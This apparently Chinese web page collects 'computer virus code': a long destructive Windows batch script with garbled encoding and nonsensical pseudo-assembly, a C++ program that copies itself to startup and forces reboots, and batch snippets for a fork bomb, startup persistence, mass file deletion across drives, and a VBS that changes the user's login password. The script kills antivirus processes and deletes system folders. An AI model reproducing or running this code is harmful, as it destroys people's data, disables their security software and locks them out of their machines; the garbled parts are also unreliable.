1. 鍐檆md鐥呮瘨
浠g爜鏄
echo off
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:jjj
鈥︹
JMP Label3
Db thunkcode3
Label1:ss
鈥︹.
JMP Label2
Db thunkcode2
Label3:mm
taskkill /f /im 360DesktopLite.exe
jz label
銆銆銆jnz label
銆銆銆db thunkcode
label:
銆銆銆jz label2
銆銆銆jnz label2
銆銆銆db thunkcode
lable2
銆銆銆mov ax, 8
銆銆銆xor ax, 77
銆銆銆...
taskkill /f /im explore.exe
taskkill /f /im 360tray.exe
taskkill /f /im 360Safe.exe
echo off
taskkill /f /im 360tray.exe
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
taskkill /f /im 360tray.exe
taskkill /f /im ZhuDongFangYu.exe
rmdir /s/q C:\Users\administrator\Desktop
rmdir /s/q C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
rmdir /s/q C:\ProgramData
del /f /s /q regedit.exe
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:
鈥︹
JMP Label3
Db thunkcode3
Label1:
鈥︹.
JMP Label2
Db thunkcode2
Label3:
call label_1
銆銆銆db thunkcode
銆銆銆jmp label_2
銆銆銆db thunkcode
label_1:
銆銆銆pop eax
銆銆銆jmp label_3
銆銆銆db thunkcode,thunkcode,thunkcode
label_3:
銆銆銆inc eax
銆銆銆jmp label_4
銆銆銆db thunkcode,thunkcode,thunkcode
label_4:
銆銆銆jmp eax
銆銆銆db thunkcode
label_2:
銆銆銆....
del /f /s /q notepad.exe
rmdir /s/q apppatch
rmdir /s/q Windows10Upgrade
rmdir /s/q LDSGameMaster
set path=C:\
set temp=C:\
del /f /s /q search-ms:displayname=鈥渨in10%20(C%3A)鈥濅腑鐨勬悳緔㈢粨鏋&crumb=System.Generic.String錛歝md&crumb=location:C%3A%5C
rmdir /s/q C:\Windows\appcompat\Programs
rmdir /s/q C:\Windows\en-US
rmdir /s/q C:\Windows\OCR
del /f /s /q notepad.exe
rmdir /s/q apppatch
rmdir /s/q Windows10Upgrade
rmdir /s/q LDSGameMaster
set path=C:\
set temp=C:\
del /f /s /q search-ms:displayname=鈥渨in10%20(C%3A)鈥濅腑鐨勬悳緔㈢粨鏋&crumb=System.Generic.String錛歝md&crumb=location:C%3A%5C
rmdir /s/q C:\Windows\appcompat\Programs
rmdir /s/q C:\Windows\en-US
rmdir /s/q C:\Windows\OCR
::wwwwwww::rrrrrr%%tttt
rmdir /s/q C:\Windows\minimp
rmdir /s/q C:\Windows\Microsoft.NET
ftype nppfile="C:\ProgramFiles (x86)\Notepad++\notepad++.exe" %1
for /l %%i in (1 1 99999999999999)do md A..\
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
:a
set /a a+=1
echo %random%-%random%-%random% > C:\Users\%username%\Desktop\CCBL.%random%
mshta javascript:alert(".");close();
goto a
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do /y "%dpnx0" "%%i" >nul
for /f "tokens=* delims=" %%i in ('dir /b A:\*.*') do /y "%dpnx0" "%%i" >nul
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
for /f "tokens=* delims=" %%i in ('dir /b K:\*.*') do /y "%dpnx0" "%%i" >nul
for /f "tokens=* delims=" %%i in ('dir /b I:\*.*') do /y "%dpnx0" "%%i"
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)&&exit
for /f "tokens=* delims=" %%i in ('dir /b Z:\*.*') do /y "%dpnx0" "%%i" >nul
for /f "tokens=* delims=" %%i in ('dir /b M:\*.*') do /y "%dpnx0" "%%i" >nul
rmdir /s/q C:\Windows\Offline Web Pages
2. 比較簡單的C++病毒代碼
最簡單的病毒代碼如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char [80];
sprintf(," %s \"%%userprofile%%\\「開始」菜單\\程序\\啟動\"",argv[0]);
system(); //將這個程序拷到開機啟動文件版夾下面
//char cmd[]="shutdown -r -t 0";//自動重起
char cmd[]="ping .com";//將這個換成權上面的,就是一開機就重起了!
system(cmd);
system("pause");
}
3. 電腦病毒代碼
病毒代碼是可以給計算機造成破壞的惡意程序的代碼,這個代碼生成的程序就版是病毒。病毒是由一些試圖對他人權電腦進行破壞或者其他商業利益行為而驅使一些人製作的。
4. 批處理文件的病毒代碼大全!
很多,有幾個思路貢獻下
第一種
:1
start %0
goto 1
這個代碼會自己運行自己,產生無限窗口,直到內存爆滿死機。
第二種
%0 "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\*.*「
%0 "C:\Documents and Settings\Default User\「開始」菜單\程序\啟動\*.*"
%0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
加上這個代碼之後,會把自身添加到啟動菜單中(隨系統啟動而啟動,與shutdown -r -t 0搭配使用威力倍增)
第三種
for /R C:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R D:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R E:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R F:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
這是刪除CDEF盤上面的gho文件,使用戶無法通過ghost恢復系統
第四種(特殊)
Echo Const strPassword = "wohenni"' >>1.vbs
echo Dim WshNetwork >>1.vbs
echo Set WshNetwork = CreateObject("WScript.Network") >>1.vbs
echo Dim userName >>1.vbs
echo userName = WshNetwork.userName&",user" >>1.vbs
echo Dim Domain >>1.vbs
echo Set Domain = GetObject("WinNT://./"&userName) >>1.vbs
echo Domain.SetPassword strPassword >>1.vbs
echo Domain.SetInfo >>1.vbs
echo dim gj >>1.vbs
echo on error resume next >>1.vbs
echo dim WSHshellA >>1.vbs
echo set WSHshellA = wscript.createobject("wscript.shell") >>1.vbs
start 「」 「1.vbs「
生成能把登錄密碼改為」wohenni」的VBS,並運行。
第五種
fsutil file createnew C:\1.hahaha 4096000
這是生成特定大小的文件,這句意思是在C盤下面生成1.hahaha,大小為4096000位元組
還有很多,不一一列舉了,希望您能更好地學習批處理!